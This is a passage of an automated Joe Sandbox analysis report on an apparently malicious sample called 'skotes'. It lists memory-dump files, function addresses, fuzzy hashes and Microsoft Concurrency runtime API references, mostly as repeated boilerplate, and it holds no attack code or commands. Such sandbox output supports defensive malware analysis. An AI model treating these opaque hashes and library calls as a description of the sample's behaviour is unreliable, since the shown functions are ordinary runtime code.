Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: e7df1978b8ef8aed20b69e29c5d16cd2450e31ba9361aa3eddf9b3e7a949f9fb
Instruction ID: 5ea563f64a1022e2d5741ae94c5522a46bf82b49cf195afa78bc16e80b4fc329
Opcode Fuzzy Hash: e7df1978b8ef8aed20b69e29c5d16cd2450e31ba9361aa3eddf9b3e7a949f9fb
Instruction Fuzzy Hash: 67B15B70A01616EFDF28DF58D991B7AB7F4FF44300F1445AAE905AB291D731AD81CB90

Function 00B91602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B92CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00B92D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00B91614

Part of subcall function 00B92E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00B92E39
Part of subcall function 00B92E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00B92EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00B91746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00B917A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00B917B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00B917ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00B9180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00B9181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00B91823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00B9183B

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: a1f1e9cd8fd441dd77fce812c41ec19aad8e0d80d3484b50d6a2f50f5a84bbd2
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: F7814971E00626AFCF19DFA8C580A6DB7F1FF48304B254AADD445A7701C770AD52DB84

Function 00B9EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9EC81

Part of subcall function 00B98F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00B98F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B9ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00B9ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00B9ED0C

Part of subcall function 00B9E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00B9E7D7
Part of subcall function 00B9E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00B9E86F
Part of subcall function 00B9E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9E879
Part of subcall function 00B9E7AF: Concurrency::location::_Assign.LIBCMT ref: 00B9E8AD
Part of subcall function 00B9E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E8B5

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: d49484e2fb68b4a304f7cb7b51867957bc4648671bd083acebbf3bdc3d9cc557
Instruction ID: 0a4a1c61959b8f2f176987d87269e538f664443338ee266019596281939a984d
Opcode Fuzzy Hash: d49484e2fb68b4a304f7cb7b51867957bc4648671bd083acebbf3bdc3d9cc557
Instruction Fuzzy Hash: 0A515A31A00205DBDF24EF54C895BADB7B5EF44310F1540B9E9166B3A6CB71AE05CBA1

Function 00B8CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00B8CBAA

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 7edf4e69d7bcbfbcbbb29b67f9ba234f5a3947864df7f71eea03b768882064a0
Instruction ID: 7abbddb364b80097ff28fdecfb2d80c578f770e42f9845503697bc0fcb99770b
Opcode Fuzzy Hash: 7edf4e69d7bcbfbcbbb29b67f9ba234f5a3947864df7f71eea03b768882064a0
Instruction Fuzzy Hash: B5B09232A238348BCA613B14BC1899DBB54DA84A1130A4196D841AB2348E205D828BE4

Function 00B8DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
